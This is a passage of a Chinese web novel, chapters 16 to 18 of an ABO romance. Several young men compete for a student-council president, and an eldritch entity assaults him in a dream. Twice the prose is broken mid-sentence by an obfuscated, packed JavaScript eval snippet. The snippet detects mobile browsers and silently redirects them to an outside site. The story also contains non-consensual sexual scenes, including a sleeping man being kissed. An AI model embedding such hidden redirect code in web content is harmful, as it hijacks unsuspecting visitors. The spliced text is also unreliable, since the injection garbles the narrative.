他隐约摸出这大概是什么球状物,紧接着,他似乎又摸到什么缺口,指尖被迫陷进去。却像是陷进一滩沼泽,潮湿泥泞,深处似乎有什么东西在拉扯着他,转眼将他整个手掌吞进去! 温疏瞪大眼,连忙挣扎着往外拔,但无论他怎么使劲都抽不出手,甚至越是挣扎越是深陷。 他感觉到那股潮湿冰凉一点点漫向他的手臂、肩膀,不知什么东西抓着他的手、圈着他的腰,不停将他往里拖拽、缠绕禁锢着他的四肢,竟令他动弹不得。 放开!—— 温疏又惊又怒,挣扎得更激烈,又本能试图呼救,喉咙却发不出声音。 甚至张嘴的瞬间,口鼻被淹没,绵软的东西侵入他的口腔,纠缠着他的舌,还不断往他喉咙深处探索。 唔—— 呼吸被掠夺,他难受得忍不住干呕,眼角湿润发红,唇边涎丝流淌。挣扎也是徒劳,只觉身体被纠缠着、摆弄着,头颅后仰、上身挺起,呈献祭一般的姿势。 而透过朦胧视野,他恍惚看见头顶的黑暗中,缓慢裂开一道狭长的光缝,几乎横亘整片虚空,像是一只白色的“眼睛”,庞大得叫人毛骨悚然,正垂眸凝视着自己。 他怔了一下,还未看仔细,下一刻,身体被拖向黑暗的更深处,他彻底看不清周遭。 只感觉到周身纠缠着他的东西,沿着他的脖颈和胸腹寸寸往下,触感粘稠,像是被舔舐了,所经之处皆留下冰凉的湿痕。 却令他身体发热,尾椎逐渐窜上一股酥麻。他狼狈地挣扎、闪躲,却只是在黑色的潮水中沉浮,逃不脱。 而那只“眼睛”还在盯着他。 这里是祂的领域,在外面,祂还有一只“眼睛”。 祂的意识从很久以前开始就变得紊乱不堪,在彻底陷入疯狂之前,为了修复自身,那只眼睛循着本能,找上温疏,祂也借此一直在看着温疏。 但与另一只眼睛不同的是,祂对面前这名人类没有多余的情感。 所以在这名人类令自己陷入更糟糕的境地时,祂会毫不留情地降下惩罚。 ……本应该如此的。 事实却是,祂一次次地放过。 甚至这次“惩罚”,并不是因为温疏做错了什么,仅仅是出于祂——不!是另一只眼睛的私心——温疏令它愤怒,却又强憋着,只敢在夜深人静的时候,偷偷把人拉进祂的领域。 此时,感受到“分支”传来的,强烈到令人战栗的兴奋和愉悦,祂有些茫然无措。 却没有制止,只是本能地凝视着,看着那具漂亮的身体被黑色的潮水吞没,在其中起伏沉沦,挣扎被制止,紧实柔韧的皮肉被勒得凹陷、染上红痕,脸上露出痛苦和欢愉的神色。 ……祂好像有一点理解另一只眼睛了。 忽然间,领域之外,紧锁的房门发出金属碰撞的脆响,门把被转动,张开的门缝里露出一点月光颜色的发。 凌晨三点,莱恩特因睡相太差,从客厅的沙发上滚下来,又嗅到空气中弥漫的alpha信息素,充斥着恐惧、羞恼的情绪,睡意立时被驱散大半。 他用不到半分钟便打开了紧锁的卧室房门,立刻朝床上看去。 只见室内充斥着一大团黑色的烟雾,一个庞大的虚影潜藏其中,又在洁白的墙面投落一点,边缘模糊,看不清具体形状,将温疏的身形彻底笼罩,仿佛将他吞噬,画面相当诡异。 莱恩特瞳孔骤缩,猛地一下冲到床沿,“温疏!” 他急忙要把温疏弄醒,但还没来得及伸手,下一刻,烟雾与虚影又尽数消散,好像一切都是他的错觉。 他不由怔了一下,揉着眼睛反复确认几遍,又四处检查一番,实在没见到什么可疑东西,这才长舒口气,慢慢放松下来,又回到温疏床边,垂眸盯着温疏。 对方像是做了噩梦,眉头紧锁着,额发微微汗湿,双颊一片潮红,呼吸都粗重,模样有一点难得的脆弱。 好像很好欺负——不是,是好可怜。 莱恩特喉结轻滚,眼神微暗,盯了一会儿,忍不住伸手轻按在温疏眉间,来回抚平那道凸起的褶皱,又抽了纸巾细细给人擦汗。 等到温疏终于睡得安稳些,他还舍不得走,指尖在人脸上流连,来回勾画着五官。接着又忍不住小心翼翼掀开一点被角,轻手轻脚钻进温疏的被窝。 他怕自己会把人弄醒,惹得温疏生气,躺进去时还耐心等了一会儿,随时准备跑路,紧张得大气不敢喘。 但见温疏睡得沉,他轻舒一口气,立刻原形毕露,贪婪地伸手圈住温疏的腰,把人往自己怀里带。还要扳过温疏的头,强迫对方朝向自己睡。 小心地摆弄完之后,他满意地埋进温疏的颈窝里深深嗅了一口,又抬起头,一点点凑过去,与人鼻尖相抵,吞吐着温疏的气息,嘴唇也慢慢印上去。 …… 早上七点,温疏睁开眼,只觉这一觉睡得尤为难受,梦里一直被什么东西紧紧缠住,勒得他差点气都喘不上来。 他动了动身体,却受到阻碍,才发现自己确实被缠住,颈窝里一颗白色的脑袋蹭得他脖子发痒。 原来是莱恩特不知道什么时候偷摸上了他的床,还像只八爪鱼一样,双手圈着他,双腿也夹着他,像是把他当成什么人形抱枕,在他身边睡得跟猪似的。 “……啧。” 温疏不悦沉下脸,毫不留情挣脱出来,强忍住一脚给人踹下去的冲动,掀被下床。 等他穿衣洗漱回来,见莱恩特还在昏睡,本想上前一巴掌给人弄醒,又怕再被缠住,索性丢下不管。 他在厨房弄着早餐,正把煎蛋盛到盘子里,打算做个三明治,腰间忽然圈上两条手臂。 “温疏,”莱恩特自身后抱住他,闭着眼睛用脸颊来回蹭着他的颈窝,一副还没睡醒的样子,“你在做什么,好香!我也要!” “滚开,自己弄。”温疏冷着脸用手肘把人挡开。 “我就想要你的这个!温疏,好不好?温疏——” 莱恩特不依不饶,手臂将他圈紧,微微拖长音调撒娇。 才刚把人挡开,马上又被缠住,柔软的发蹭得他后颈发痒。温疏被磨得有些烦,“啧”了一声,还是给人也弄了一份,“拿走。” “谢谢温疏哥哥!” 莱恩特趁人不备,飞快亲了温疏一下,端着两份精致的三明治放到餐桌。 他已经坐下,却见温疏还在岛台边忙碌,背对着他,衣袖半挽,露出两截修长手臂,微微用力时肌肉绷紧,线条流畅又漂亮。 围裙在身后系了一个蝴蝶结,衬得肩宽腰窄,过长的系带垂在臀部,被顶起明显的弧度,随着温疏走动轻轻摇晃,有种说不出的性感,迷得人移不开眼。 莱恩特目不转睛盯着,眼神微暗,忍不住舔舔唇,在脑子里畅想和温疏的幸福且□□的婚后生活。 结婚以后,他每天都能抱着温疏睡觉,第二天一睁眼就能见到温疏。要是前一晚运动完直接睡了,衣服都没来得及穿,甚至整晚没分开,就能无缝衔接上。如果不想在床上弄,也可以在别的地方,他看这个岛台就很不错,然后温疏就像现在这样穿着围裙,背对他,一边弄吃的一边—— 他想得美死了,直到“咚”地一声,温疏往他面前摆了杯果汁,不咸不淡睨他一眼,“乱叫什么?闭嘴吃你的。” 莱恩特很艰难地将目光从温疏的腰上,移到温疏脸上,委屈地扁了下嘴,“你不觉得这个称呼很亲密,又很暧昧,刚好合适我们吗?” “合适在哪?”温疏懒得理他,随意敷衍一句,在对面坐下开始用餐。 “……”莱恩特张了张嘴,又扭头冷哼一声,“反正比别人合适!” 温疏挑眉看了他一眼,嘴角微勾,没说话。 直到吃完,莱恩特自觉收拾了餐桌,又回头去找温疏,“你今天忙吗?” “怎么?”温疏在收拾书包,准备出门。 “我才入学第一天,什么都不知道,连上课都不知道去哪,你带我熟悉一下嘛,好不好?” 最好也陪他去教室上课,就坐他边上。 如果没记错,他这时候转学进来,应该是从一年级开始读,和那个许烬一个班。 他问完,温疏并未立刻回答他,而是慢条斯理地在那看手机,指尖在屏幕来回轻点,也不知道在做什么,竟然还笑! “温疏!”莱恩特忍不住叫了一声,手指攥紧,眼神微暗。 不许和别人聊天了! 和他在一起,不许想别人! 又过一会儿,温疏才抬起头,眼神带着一点玩味的笑意,“行。走吧。” …… 许烬很快出院,回宿舍收拾了一下自己,早早坐在教室里等上课。 他的伤恢复得特别快,连校医都惊奇。他自己倒是习惯了。不过,今天又是满课,就算他伤没好,他也不能再请假了——马上要期中考试了。 快八点,教室陆陆续续进来人,有些吵,他也有点看不下书了,忍不住掏出衣兜里的手机。 他点进社交软件的消息列表,手指不断下滑刷新,没收到新消息,又退出到桌面,左右来回滑动几下,百无聊赖地不知道干什么,过一会儿又忍不住点进消息列表继续刷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740288|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新,如此循环。 不久之前,他刚给温疏发了消息,但温疏没有回复。甚至他昨晚发的消息,温疏到现在也没有回复。 是昨晚太忙了,没空看手机吗?那现在会不会还没醒,所以才没有回他? 许烬抿着唇,莫名有点焦虑,又把手机放回衣兜,强迫自己盯着课本,却有些心不在焉。 忽然间,走廊传来嘈杂声音,教室里也轰动起来,叽叽喳喳的,好些人还起身跑到门口,激动得推着桌椅发出刺耳声响,实在很吵。 本来就静不下心,这会儿更是烦,许烬不由拧眉,跟着抬头看向窗外。 却见温疏竟然站在走廊,微微侧头与谁交谈着,脸上带着温柔的笑,和煦阳光落在他的侧脸,一如既往的英俊夺目。 许烬不由眼神一亮,忍不住也激动地站起身。 可下一刻,他看见一个白头发的男生站在温疏身边,也微笑着侧头与温疏说话。 那个男生身量颀长,与温疏相仿,长相却出奇漂亮,白发雪肤,像是身上笼着一层光晕。大概是个omega,与温疏站在一起,竟显得十分相配。 并且关键是两人凑得很近,肩膀与肩膀之间都塞不下一个拳头,看上去很是亲密。 而许烬在教室里坐了这么久,温疏侧着头,明明脸颊向着教室里面,随便扫一眼就能看到他,却直到现在,连一个眼神都没分给他,像是完全没注意。 倒是那个男生边说着,边侧头往教室里好奇地望了一眼,期间无意与他对上目光,还友善地对他笑了一下,笑容十分明媚。 一瞬间,心里陡然生出一股难以言喻的羞惭和失落,许烬面色微白,手指攥紧成拳,勉强地扯了扯唇角,又赶忙低头避开对方的目光,坐下身,装出一副很忙的样子,垂眸盯着课本。 却又忍不住用眼角余光追着那两人的身影。 只见他们又聊了几句,接着相互挥手道别,男生走进了他这间教室,而温疏在走廊停留,低头看着手机,指尖在屏幕轻点。 许烬一怔,下意识拿出手机,指尖不停下滑刷新,紧盯着消息列表,生怕错过任何。 但两三分钟过去,他的消息列表仍什么都没有。 他再抬头看向走廊,却发现温疏已经不知道在什么时候离开了。 “……” 许烬不由抿起唇,指尖握紧手机,又随意丢进桌肚里,发出清晰的响。 他低头看课本,头顶却响起一道陌生嗓音:“你好,同学,我叫莱恩特,今天刚转来普莱克斯上学。” “呃,你好。”许烬抬起头,见是那名白发omega站在自己身前,莫名有点尴尬,局促地握紧笔,声音都有些低,“你有什么事吗?” “哦,不好意思,我不是故意打扰你。”相比他的局促,对方显得自信大方许多,声音平稳,始终友善地对他笑着,“因为只有你这一排有空位,也比较靠前。你介意我坐在你旁边吗?” “……” 许烬迟疑地扫了眼全班,发现情况确实如此,又不太擅长拒绝,只好沉默地点点头,将自己的东西往里面挪。 “谢谢你,”莱恩特很快坐下,又向他侧过头,“你叫什么?” “许烬。” “好,那我们以后就是同桌了,请多指教。” “……嗯。” 许烬愈发局促,浑身紧绷,很不习惯有人这样与自己搭话,幸好没过多久便开始上课了。 但没想到,一天课上下来,教室都换了不少,还从室内到室外,这个人莫名一直缠着他。他实在应付不了。 而且,也不知道为什么,这个人明明是对自己笑着,态度与别人相比已经十分友善。 但他接触到对方的信息素时,身上迅速起了一大片红疹,又刺又痒,入学这么久以来,第一次难受得令他忍不住一直抓挠,几乎抓破了皮。 对方见了,还好心地提出要送他去校医院,许烬连连摆手拒绝。 好不容易捱到傍晚放学,他忍不住长舒一口气,又下意识拿出手机。 却见他的消息列表还是空落落,他的心里也一下子空落落。 要是,哥哥只是没看见呢?他再发一条看看? 犹豫一会儿,许烬还是打开聊天界面,点进输入框。 刚发出去消息,身旁的莱恩特忽然出声,“许烬,你可以让一下吗?我和别人约好了,有点急。” “哦。抱歉。” 这节课莱恩特还是坐他旁边,但是坐在里面,前后位置有点挤,要出来得他让一下。 他站起身让莱恩特先过,忽然想起上午对方和温疏的亲密样子,忍不住多嘴问了一句:“你和谁有约啊?” 没想到,莱恩特回头对他笑了一下,答:“温疏。” 许烬睁大眼,身体陡然僵硬。与此同时,捏在手里的手机振动了一下。 他立时拿起来看。 【哥哥,晚上要一起吃饭吗?】 【抱歉,我有约了】 17.第 17 章 许烬虽然被温疏拒绝,但之后他再发消息,对方总算会回复他,但能明显觉出冷淡,内容都很简短。 前后落差太大,他有些接受不了,但也不敢缠着温疏,一直没勇气约第二次。 与此同时,之后几日,莱恩特都和许烬一起上课。 他明显从莱恩特的信息素中感觉出,对方远没有看上去那样友善,但他待在莱恩特身边,莫名经常能见到温疏,也就一直忍着,相当勉为其难地“交了朋友”。 在又一次眼睁睁看着温疏找过来,却只是和莱恩特旁边的自己简单打了招呼,之后就和莱恩特一起离开,许烬忍不住攥紧手指,几乎红了眼眶。 站在哥哥身边的人应该是他才对! 念头刚起,许烬自己都吓一跳,却又忍不住失落和内耗。 是不是自己无意间做错了什么,惹得温疏不快。又或许是他太缠人了,让温疏觉得烦。 越想越觉得压抑,胸口都闷痛,快要喘不过气来。他强迫自己收回目光,低头看向手机,点开日程安排。 为了学分,也是为了转移注意力,他前两天刚报名了一个志愿活动,是打扫学院礼堂,据说是为即将举行的庆典晚会做准备,时间安排在今天下午。这样的脏累活,那帮贵族不爱干,这才轮得上他。 确认完之后,他本要退出,指尖微顿,鬼使神差地点进学生论坛。 好久没关注,首页热门贴还是老样子,半数以上有关温疏,倒是没看见什么人再讨论自己,虽然周遭的恶意还是如影随形。 他扫了眼,竟看见莱恩特的名字。 【有一个许烬不够,又来一个莱恩特,真服了这些新生,能不能别缠着主席了】 许烬抿着嘴唇,盯了标题两秒还是忍不住点进去,看了一会儿,嘴角微微勾起。 不出所料,与他当时的情形类似,底下好多讨伐谩骂,当然还有很多围观拱火的,期待他和莱恩特打起来。一楼发出不过半小时,评论就刷了好几页。 不知道为什么,他看见这些,心里生出一种类似同病相怜的感觉,却更有一种不容忽视的……幸灾乐祸。 刷了一会儿,他直接跳转到最后,竟发现一个奇怪的评论。 【?我去,你们不要命了?建议一楼赶紧自删,你们也别再说了】 【楼上在说什么?听不懂】 【放心吧,主席不会管的,骂一下这个贱人怎么了?】 这种似乎知道很多内幕的发言,在之前也有过,比如爆料温疏的婚约对象会转来普莱克斯,却又光速消失的那位。 但这个人很快又说了一句。 【他是希维尔家的】 【我靠】 【我靠】 半分钟不到,底下刷了好几个表示震惊的回复。 许烬正要再往下翻,却弹出一条系统提示,“此贴已被删除。” 他又敛了笑,紧抿着唇,将手机放回衣兜。 此前从没关注过这些,他不知道这个姓氏具体意味着什么,但看众人的反应,心里也隐约有个猜测。 先前的同病相怜感化为乌有,只剩一种难以言喻的失望,还有愈发扩大的焦虑和恐慌。 怎么办,他好像抢不过。 哥哥会更喜欢那个人吗? …… 午休之后,许烬按时到礼堂。 没想到,偌大一个地方,竟然就他一个人打扫! 大概是又被做局了,他叹了口气,顾不上感叹这地儿的装潢有多豪华,四处检查一番都需要做什么,便认命地开始干活。 这种时候,心里杂念太多,忙点也好。 “嗒、嗒……” 弄到一半,耳机里播放的课程也恰好结束,他忽然听见寂静空旷的礼堂响起一道清晰的足音,不疾不徐,带有回响,透出一种冷静和从容。 听着这声音,许烬莫名心头狂跳,忍不住停下手上工作,起身循声望去。 果然看见温疏! 对方瞧见他,意外地轻轻挑眉,“你怎么在这里?” “……做志愿。哥哥怎么来了?” 许烬忍不住激动,立时摘下耳机,扬起笑。可一想到先前被温疏那样忽视,心里还是有一点委屈和不满,便又强迫自己尽量表现得平静,说着举起手上的拖把示意。 “检查。”温疏环顾了一下四周,“怎么就你一个人?这样要弄到什么时候?” “嗯……没关系的,我多花点时间就行……” 没想到,自己被排挤孤立的事实就这样从温疏嘴里说出来,许烬不由难堪地低下头,手指攥紧了拖把,将其往身后藏了藏。 温疏轻叹口气,“我帮你吧。” “啊?”许烬猛然抬起头,连连摆手,“不、不不用!哥哥你去忙你的吧,我自己可以的!” “没事。” 对方轻笑了声,直接上前来,夺过他手里的拖把,另一手还顺带摸了一下他的头。 “好、好吧,”被哥哥摸头,许烬立时就拒绝不了了,乖乖垂着脑袋,“谢谢哥哥。” “嗯。” 这种地方,日常都有智能机器来维护清洁,脏不到哪里去,学生做志愿一般也就是做做样子,也就许烬这个傻孩子这样实诚。 两人分工很快完成,做完收尾工作之后,许烬一闲下来,又忍不住想到之前的事。 甚至他看到温疏这样若无其事地、像之前一样接近、帮助自己,对比之下,心里的委屈更是满到要溢出来。 他盯着温疏的背影,垂在身侧的双手攥紧成拳,犹豫一会儿还是憋不住地开口,“哥哥,你这阶段很忙吗?” 为什么都不怎么理他,天天就和那个莱恩特—— 话出口,他才发觉这句好像有一点责备、不满的意思,又觉得不太合适。 还没来得及补救,温疏侧头含笑瞥了他一眼,又伸手轻揉了一下他的脑袋,“是啊,在忙着筹备霜月庆典和晚宴,怎么了?” “没、没有……” 头顶传来温热,修长手指轻柔穿过他的发间,尾椎随即升起一股令人着迷的酥痒。许烬舒服得忍不住微眯起眼,又本能地偏过头,主动往人手里蹭。 对方又轻笑了声,“这阶段是有点忙,而且有位长辈托我多照看一下莱恩特,确实忽视你了,抱歉。” 天!哥哥竟然主动给他道歉! 许烬睁大眼,连忙疯狂摇头摆手,“没有没有没有,哥哥也有自己的事情要做,肯定要优先——” “呵。”话未说完,温疏轻笑一声打断他,“你不伤心吗?” “什……”许烬脑子一下不转了,表情都空白,耳廓一瞬发红,继续不停疯狂摆手,有些语无伦次,“不、不会啊,怎么会呢,哥哥肯定先要忙自己的事,我知道的——” “你不伤心,那我可要伤心了。”温疏仍轻笑着看他,还作势伸手按在自己胸口,好像真的伤心了。 “哥、哥哥!” 一瞬间,许烬仿佛听到心跳的轰鸣,像是焰火在耳边炸响。 他红着脸看温疏,眼神有些躲闪,笨拙地哄人,“其、其实也是会有一点伤心的,但是我知道哥哥肯定是在忙,不是故意这样的……” 话未说完,对方似乎憋不住,又低笑了声,“不说这个了,你会跳舞吗?喜欢跳舞吗?” 不知道哥哥为什么问起这个,许烬一下想起礼仪课时被人欺负嘲笑,甚至被害得受伤,以至于他后来都是一个人跳。他抿唇沉默一会儿,还是摇了摇头。 “那跟我跳呢,也不喜欢吗?”温疏盯着他笑。 “啊?当、当然喜欢!”许烬又懵了,微微睁大眼,说着目光看向别处,有些不好意思地背过手,“可是我不太会。” “晚宴上每个人都要跳舞的,不会我教你。”温疏微笑着向他伸手,“你想跳哪个位置?” “啊,我、我都行。” 看着面前那只洁白如玉的手,许烬脑子空白,本能伸手轻搭上去。 还没反应过来,对方反手牵住他,一下将他拉到身边。同时,他的腰也搭上一只手,掌心并未贴实,隔着一点距离,礼貌又温柔。紧接着,温疏轻轻哼起乐曲,脚步轻移,带着他开始跳舞。 许烬睁大眼,一下浑身紧绷。明明每个动作都在课上学过,他也自己跳过好几遍,可这会儿全然忘了,什么时候该进、该退、又该迈哪条腿,完全搞不清楚。 又害怕踩到温疏,或是跳得太烂被人嫌弃,他不由浑身僵硬,拼尽全力也只是手忙脚乱,大气都不敢喘。 他实在太紧张,很快便跳错了一个动作。他往前,温疏也向着他往前。眼看两人要撞到一起,他的心一下提起来。 却见下一刻,温疏优雅地旋身避过,哼唱的声音仍平稳,丝毫不带抖,甚至毫无阻碍地衔接上了下一个动作。 但两人的身位一下贴近,温疏的嘴唇几乎凑在许烬耳边,嗓音低沉悦耳,嘴里呼出的湿热气流拂过耳后,更令他紧张得发抖。 察觉他的僵硬,温疏轻笑了声,体贴地放慢节奏,“不用害怕,跳错也没关系。你不用去想动作,放轻松,交给我。” “好、好的……” 许烬愈加尴尬和羞耻,又强迫自己听从哥哥的话,深深呼吸着,努力地尝试放空自己,只专注听着温疏哼唱的曲调,随着对方牵引的力道与方向,本能地舞动。竟渐渐觉得跳舞好像也没有那么难,他只要跟着哥哥就好了。 甚至有余力将温疏与别人比对,觉得温疏每一个动作都很完美,节奏与力道都恰到好处。而且温疏很会引导,耐心又温柔,跟他上课时被迫与别人合作时的感受完全不同,简直天壤之别。 直到一支舞跳完,许烬还有些意犹未尽,微喘着气,怔愣地盯着温疏,半晌回不过神。 温疏看着他笑,挑眉戏谑问,“现在喜欢跳舞了?” “……嗯,喜欢。”许烬红着脸轻轻点头。 不是喜欢跳舞,是喜欢和哥哥跳舞。只喜欢和哥哥跳舞。 紧接着,温疏又问他,“那要继续吗?换你来跳主导位?” “啊?我可以吗?” 许烬双眸睁大,又微抿起唇。他不太自信,本能地想拒绝,却又拒绝不了温疏,一时犹豫。 “当然,试试看,很简单的。” 未想到,温疏没等他回答,竟牵着他的手放到自己腰上。 “哥哥!” 许烬瞳孔骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750582|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放大,脑子里瞬间一片空白,手指像触电般缩回,手背却被温疏按着。 但温疏的力道很轻柔,他要是真的想拒绝,完全可以把手抽出来。 然而许烬只是紧抿着唇,内心挣扎一会儿之后,目光躲闪地低低应了句“好”,又在温疏含笑的鼓励眼神中,试探着缓慢地迈开腿。 他努力找寻跳第一支舞时的状态,却怎么也无法专注,身体只是本能机械地随着温疏的歌声起舞。 他的注意力几乎全在轻搭着温疏腰肢的那只手上。总感觉加一分力太重,减一分下一秒就会脱手。 甚至他注意着温疏的腰在他掌心里扭动时,衣襟微微摩擦手心的触感,弄得他手心渐渐发了汗,只觉那截腰像着了火,烫得让他握不住。又像一段在风中摇摆的柳枝,纤细柔韧,令他忍不住收拢五指。 直到掌心完全贴合上去,温热透过衣物清晰传来,甚至能感觉到那段腰腹肌肉的紧实—— 意识到自己完全握住温疏的腰,许烬脸色一瞬涨红,猛地停住,松开手。 或许是他的动作太过突然,令温疏一下没收住力,身体竟向他这边倾倒。 “哥哥小心!” 许烬赶忙又伸手把人扶住,自己却没站稳,脚步踉跄地往后退。 眼看要跌到地上时,温疏眼疾手快拉了他一把,竟让两人身位逆转——他还是跌到地上,但温疏被他压在身下。 “哥、哥哥……” 视野天旋地转,许烬猛地睁大眼,垂眸紧盯着温疏,忘记起身,瞳孔不停颤动,呼吸都屏住。 打扫那么久,又跳了两支舞,外头的天色早就暗下来,礼堂里却又没开灯。 此时周遭光线昏暗,他的双手撑在温疏头颅两侧,颀长身形几乎把人完全笼罩。 他看见温疏仰着脸,似乎有些意外,微挑着眉。衣襟略有些凌乱,下摆上滑,露出一小段腰腹。白皙,精瘦,青筋浮起鲜明,汗水涟涟。 对方似乎想起身,上身挺起,又微抬起腿,但他的胸膛与地面营出的空间狭小逼仄,挣扎幅度有限,好像把人围困在自己的世界。 甚至温疏需要仰头才能与他对视,微妙的居高临下感竟给了他一种,彼此的身份与地位相互逆转的错觉。 而他觉得这种错觉很新奇,很有趣,很……令人着迷。 想想看吧,哥哥要是也像自己仰望哥哥那样仰望他,像自己依赖哥哥那样依赖他…… 许烬忍不住喉头轻滚,眼神暗沉,一抹耀眼的金红从眼眸深处闪过,竟显出几分掠食者的侵略性。 但注意到温疏微拧着眉,他很快便回过神,慌忙道歉起身,“哥哥对不起!我不是故意——” 还没说完,寂静空旷的礼堂又响起一道清晰的足音。 许烬下意识侧头,正见副主席抱着双臂向他们这处走近,面无表情,薄透镜片闪过冷光,衬得视线尤为锐利。几乎是同一时间,他的皮肤立刻刺痒起来。 他又收回目光,忽略身上的不适,只把温疏从地上扶起来,担忧问:“对不起,哥哥没事吧?” “没事。”温疏微笑摇头,顺手又摸了一把他的脑袋,“时间不早了,你先回去吧。” “好,那我先走了,哥哥再见。” 本来见哥哥皱眉还有些担心,这一下又好像没事,许烬轻轻舒口气,以为他还有事要忙,便没有过多纠缠,乖乖点头离开。 温疏慢条斯理地整理仪容、轻拍身上的尘土,弄完才睨了眼齐云朔,“你那边工作都做完了?” “呵,刚刚才忙完。”齐云朔抱臂看着他,冷笑一声,“比不上主席游刃有余,还有空和别人调/情。” 这话说得尖锐,温疏却没生气,只是低笑了声,“没有,那只是意外。” “意外?呵。”齐云朔轻声重复,又冷笑了声,眉心紧拧,几乎咬牙切齿,“和他跳舞也是意外?主动牵着他的手放你腰上也是意外?” “嗯?不是说才忙完吗?”温疏轻轻挑眉,“你什么时候来的?看了那么久呢?” 齐云朔撇过头冷哼一声,不说话。 “我和别人跳个舞都不行?”温疏有些无奈,又觉得好笑,“那早上开会的时候,他们提议的那个,你怎么不反对?” 早上学生会开会决定,霜月庆典的晚宴,除了往年都有的固定流程,今年还加了点小游戏。其中有一个特别的奖品,是和主席大人共舞一曲。 “主席这么喜欢和别人跳舞,我哪里敢反对?”齐云朔冷笑。 开会的时候,温疏本人都没意见,甚至欣然接受,他要有什么意见?他敢有什么意见?只能—— “哦,你要黑幕你自己是吧?” 没想到被一眼看穿,齐云朔猛地转脸看温疏,只见对方盯着自己,笑得恶劣又勾人。 这一看就是又想作弄人了。 他不由恼羞成怒,咬紧牙盯着温疏,憋得眼圈发红,忍不住开口:“你明明都答应我了,不和别人走太近,为什么……” “哦?” 温疏挑眉,双目紧盯着他,一步步向他走近,嘴角勾着恶劣的笑, “我答应了,就必须做到吗?我们是什么关系吗,我为什么一定要做到这个?” 18.第 18 章 怎么会有人……能毫无心理负担地说出这种话? 难道什么关系都不是,就可以随便食言吗?他们是什么关系,难道是他一个人能决定的吗? 齐云朔咬紧牙,死死盯着温疏,只觉对方脸上的笑意分外刺目,令他眼眶发酸,视野一瞬模糊。 他微闭上眼,深深呼吸着,努力尝试平复,“……你亲口给我的承诺,不需要遵守,平常想怎么做就怎么做,从来不考虑我的感受……那我在你心里,算什么?” 明明开口时,他觉得自己已经能心平气和地与对方理论,话出口却发现自己的嗓音沙哑颤抖,含着明显的哭腔,说不出的卑微和幽怨。 而温疏还是笑着,无动于衷,像是嘲讽。 他不由恼羞成怒,克制不住地拔高音量,怒吼出声,“我在你心里算什么,你说啊?一条召之即来挥之即去的狗吗?!” 他愤怒的质问在空旷的礼堂中回荡,锐利刺耳。 对方终于敛了笑,却眉目平淡,冷静得残酷,抱着双臂不发一言,一副事不关己的模样,只是旁观他的歇斯底里,像在看戏。 齐云朔不由睁大眼,盯着温疏发怔,急促地喘息着,只觉胸口痛得快要不能呼吸了。 却忽然反应过来,温疏好像一直没变,给他的承诺从没兑现过。 他第一次见温疏,是在中学的时候。 家教使然,他对自己要求严格,从来都是长辈口中的“别人家的孩子”,从小到大都是第一,无论做什么。优秀是他的习惯。 直到升上高中,一名转校生空降,夺走了他的第一。 第一次看见成绩榜单排头不是自己的名字,他有些错愕,以为这只是个意外,他疏忽了,便愈发努力。 可是即便他已经拼尽全力,那名转校生还是第二次、第三次、第四次……第无数次地抢走他的第一,抢了整整两年。 中间他偶有几次重回巅峰,也是追得十分狼狈,堪堪险胜。甚至有几次对方因病请假,根本没有参与考试。明明他是第一,却总能听见别人在背后说他“捡漏”,好像他自己的努力全不算数,成了笑话。 尽管根本没说过话,他还是暗自嫉恨了对方两年。 到第三年,适逢家中出了变故,终日弥漫着低气压,他的压力空前增大,难以言喻的焦虑几乎要将他击垮。 某次成绩单下发后,因为他依然不是第一,父母在电话里劈头盖脸训他一顿,还扬言已经把家里的一条小狗送走。 那条小狗是他不久之前在归家途中捡的,不是什么名贵品种,只是随处可见的田园。它似乎被前主人虐待并遗弃,毛发脏乱,奄奄一息瘫在路边。 齐云朔当即把小狗送去医院。医生做完了检查,却对他摇头,说这条小狗已经没有医治的必要,劝他安乐。但他不肯放弃,求医生死马当活马医。医生答应了,打了针、开了药,让他把小狗带回家自己照顾。 初时几天,小狗终日昏睡,吃饭喝水都没力气,他只能用注射器耐心地一点一点喂。可即便这样悉心照顾,小狗仍没有丝毫好转,好像真的救不活。 他有些失落,但每次喂食又能感觉到小狗在轻蹭他的掌心,还会舔他的手指。那种温热而微小的触感,那种生命在掌心清晰勃动的不屈,一次次令他动容,支撑着他继续。 没想到,小狗自身求生意志强烈,一周后竟奇迹般地好转。他又把小狗送到医院治疗,每天都去看望,每次都陪小狗玩很久。 那只小狗或许也知道他是自己的救命恩人,一直很亲他,特别乖,每次见他都把尾巴甩成小旋风。就算瘸了条腿,还是非常活泼好动,喜欢缠着他玩。相处这么久,他当然也喜欢这只小狗,等小狗病好之后,他便接回家继续养。 救助小狗这件事给予他莫大的成就感,而小狗的陪伴也在一定程度上治愈了他,缓解他的紧张。他觉得自己也该像小狗一样顽强。 可父母不满他将心思放到这种无关紧要的事上,认为这耽误了他的课业。又或许只是在孩子身上发泄自己的不如意,企图控制他,时常训斥,与他争吵,说要把小狗送走,甚至丢掉。 他无法接受,就与父母作赌,若是下回成绩第一,就让小狗留下,不要再干涉他。 结果他依然没赢过,而父母也早就在他出成绩之前偷偷把小狗送走,根本没打算践诺。 他挂了电话,抑制不住地红了眼眶,咬牙硬憋了半晌,还是忍不住弯下脊背、蹲下身,在寂静无人的休息室里偷偷呜咽。 没想到,恰在此时,身后响起一道陌生嗓音,“虽然输给我很正常,但第二名也很厉害吧,为什么哭啊?” 